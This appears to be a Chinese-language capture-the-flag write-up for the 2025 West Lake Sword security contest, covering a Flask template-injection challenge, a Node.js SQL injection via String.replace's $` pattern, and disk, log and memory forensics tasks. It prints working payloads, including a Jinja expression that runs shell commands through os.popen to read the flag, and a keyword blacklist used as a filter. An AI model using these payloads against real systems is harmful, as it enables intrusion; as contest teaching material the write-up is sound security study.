2025西湖论剑·网络安全大赛WP

admin 2025年5月29日23:32:37评论11 views字数 4146阅读13分49秒阅读模式

Web

Rank-l

这题一开始看没什么思路,后来通过看响应包发现是python服务器所以想到可能是ssti所以就去试了试,发现在login路由输入payload会在cpass路由中渲染。看看源码

from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort  from urllib.parse import unquote  app = Flask(__name__)  phone = ''  def is_safe_input(user_input):      # unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']      unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']      if any(keyword in user_input for keyword in unsafe_keywords):      # if user_input in unsafe_keywords:          return True      return False  @app.route("/")  def index():      return render_template("index.html")  @app.route("/login", methods=["POST"])  def login():      global phone      phone = request.form.get("phone_number")      return render_template("login.html")  @app.route("/cpass", methods=["POST"])  def check():      global phone      password = request.form.get("password")      if is_safe_input(phone):          return redirect(url_for('index'))      if phone != "1686682318" and password != "Happy_news_admin":          return render_template_string('<!DOCTYPE html>          <html lang="en">          <head>              <meta charset="UTF-8">              <title>login failed</title>          </head>          <body>              <script>alert("{}The number does not exist or the password is incorrect!") </script>              <script>window.location.href = "/";</script>          </body>          </html>'.format(phone))      else:          return redirect(url_for('index'))  if __name__ == '__main__':      app.run(host="0.0.0.0", port=int("5005"), debug=True)

从源码中也能看出来是在cpass中渲染的,所以这里就只需要绕过黑名单就可以了

直接上payload

{%print cycler.next.__globals__.__builtins__.__import__('os').popen('cd ..;ls').read()%}{%print cycler.next.__globals__.__builtins__.__import__('os').popen('CD ..;NL FLAGF149'.lower()).read()%}"}

sqli or not

先看源码

var express = require('express');  var router = express.Router();  module.exports = router;  router.get('/',(req,res,next)=>{      if(req.query.info){          if(req.url.match(/,/ig)){              res.end('hacker1!');          }          var info = JSON.parse(req.query.info);          if(info.username&&info.password){              var username = info.username;              var password = info.password;              if(info.username.match(/'|"|\/) || info.password.match(/'|"|\/)){                  res.end('hacker2!');              }              var sql = "select * from userinfo where username = '{username}' and password = '{password}'";              sql = sql.replace("{username}",username);              sql = sql.replace("{password}",password);              connection.query(sql,function (err,rs) {              if (err) {                  res.end('error1');              }              else {                  if(rs.length>0){                  res.sendFile('/flag');                  }else {                  res.end('username or password error');                  }              }              })          }          else{              res.end("please input the data");          }   }else{          res.end("please input the data");      }  })

这题其实刚开始看的时候以为是考点是sql注入但是发现过滤了 “ ‘ ,等导致找了很多资料也不知道怎么绕,结束之后才发现考点其实在replace这个函数上,可以参考: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch

主要利用的是

2025西湖论剑·网络安全大赛WP
img

可以看到这里的 $` 直接看解释可能有点抽象看一下调试就明白了

2025西湖论剑·网络安全大赛WP
img

可以看到已经闭合了前面的’所以就可以直接构造sql万能绕过了

{"username":"$` or 1--+"%2c"password":"1"}

misc

糟糕的磁盘

这题其实用取证大师可以直接梭哈出来key.png 和 一个secret然后用Veracrypt解密即可。这里还学到了一个新的工具

2025西湖论剑·网络安全大赛WP
img

这个也可以直接扫描出来进行磁盘取证。

ds

easydatalog

这题的话就是日志分析套了一层图片隐写,先分析日志

2025西湖论剑·网络安全大赛WP
img

这里可以看到是jpg图片,然后通过对前面的🐜剑数据解密得到是一个password.jpg所以对其进行单图忙水印即可得到一个密码

2025西湖论剑·网络安全大赛WP
img

在下面还有一个压缩包

2025西湖论剑·网络安全大赛WP
img

将上图的密码解压可得到csv文件直接搜索张三即可获取其身份证和手机号。

取证

这题没时间做了但是还是比较简单的,可以直接用lovelymem集成的vol工具进行内存分析

直接看控制台输出

2025西湖论剑·网络安全大赛WP
img

很容易能够想到去把这几个文件导出来进行解密还原

import osimport hashlibfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAhackkey = os.getenv('hackkey')if not hackkey:raise ValueError("Environment variable 'hackkey' is not set")with open('private.pem', 'r') as f:private_key = RSA.import_key(f.read())public_key = private_key.publickey().export_key()aes_key = hashlib.sha256(hackkey.encode()).digest()with open('data.csv', 'rb') as f:data = f.read()cipher_aes = AES.new(aes_key, AES.MODE_EAX)ciphertext, tag = cipher_aes.encrypt_and_digest(data)cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))enc_aes_key = cipher_rsa.encrypt(aes_key)with open('encrypted_data.bin', 'wb') as f:f.write(ciphertext)print(enc_aes_key.hex())print(cipher_aes.nonce.hex())print(tag.hex())

这是加密的脚本逆向还原就行,这里用到的key去找环境变量

2025西湖论剑·网络安全大赛WP
img

找到key之后还有控制台的输出直接可以写解密脚本。然后在后面的解密出来的csv中的个性签名是rc4加密密钥就是密码。

原文始发于微信公众号(0xh4ck3r):2025西湖论剑·网络安全大赛WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日23:32:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025西湖论剑·网络安全大赛WPhttps://cn-sec.com/archives/4112533.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息